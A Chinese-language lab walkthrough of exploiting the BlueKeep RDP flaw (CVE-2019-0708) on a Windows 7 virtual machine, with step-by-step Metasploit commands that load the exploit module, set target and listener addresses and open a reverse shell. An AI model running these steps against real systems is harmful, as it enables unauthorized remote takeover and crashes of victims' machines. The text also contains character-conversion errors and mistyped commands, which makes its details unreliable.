CVE-2019-0708—微軟RDP遠程桌面代碼執行漏洞復現

一 漏洞介紹：

微軟公司於美國當地時間2019年5月14日發佈重要安全公告，其操做系統遠程桌面（Remote Desktop Services），俗稱的3389服務存在嚴重安全漏洞（編號CVE-2019-0708）：攻擊者在沒有任何受權的狀況下（不須要用戶名和密碼），，成功利用此漏洞的攻擊者能夠在目標系統上執行任意代碼。攻擊者可隨後安裝程序；查看、更改或刪除數據；或者建立擁有徹底用戶權限的新賬戶。

二 漏洞影響範圍：

Windows 7,windows-Server 2008 R2和Windows Server 2008,windows-Xp，windows 2003

三 漏洞復現：

（1）     環境準備：

a)      靶機：      我這裏的靶機是Windows 7 64位 （6.1 版本7601）

b)      攻擊主機：Kali linux 

 

 

 

（2）     漏洞攻擊

前提是windows 7須要開放了3389端口

（3） 打開kali,輸入 msfconsole

 

 (4) 搜索cve_2019_0708   輸入： search cve_2019_0708

 

 

 (6)咱們選擇攻擊的模塊exploit進行攻擊 輸入：useexploit/windows/rdp/cve_2019_0708_bluekeep_rce

 

 

 默認載入反彈tcp木馬

（7）設置攻擊的ip和本機的ip

輸入：

set RHOTS 目標ip

set LHOST 本機ip

show options     //查看配置

 

 

 

 set target 1 //設置攻擊者的架構

 

 

（8）開始攻擊：run

 

 攻擊成功！

 

注意:該攻擊概率會致使目標主機藍屏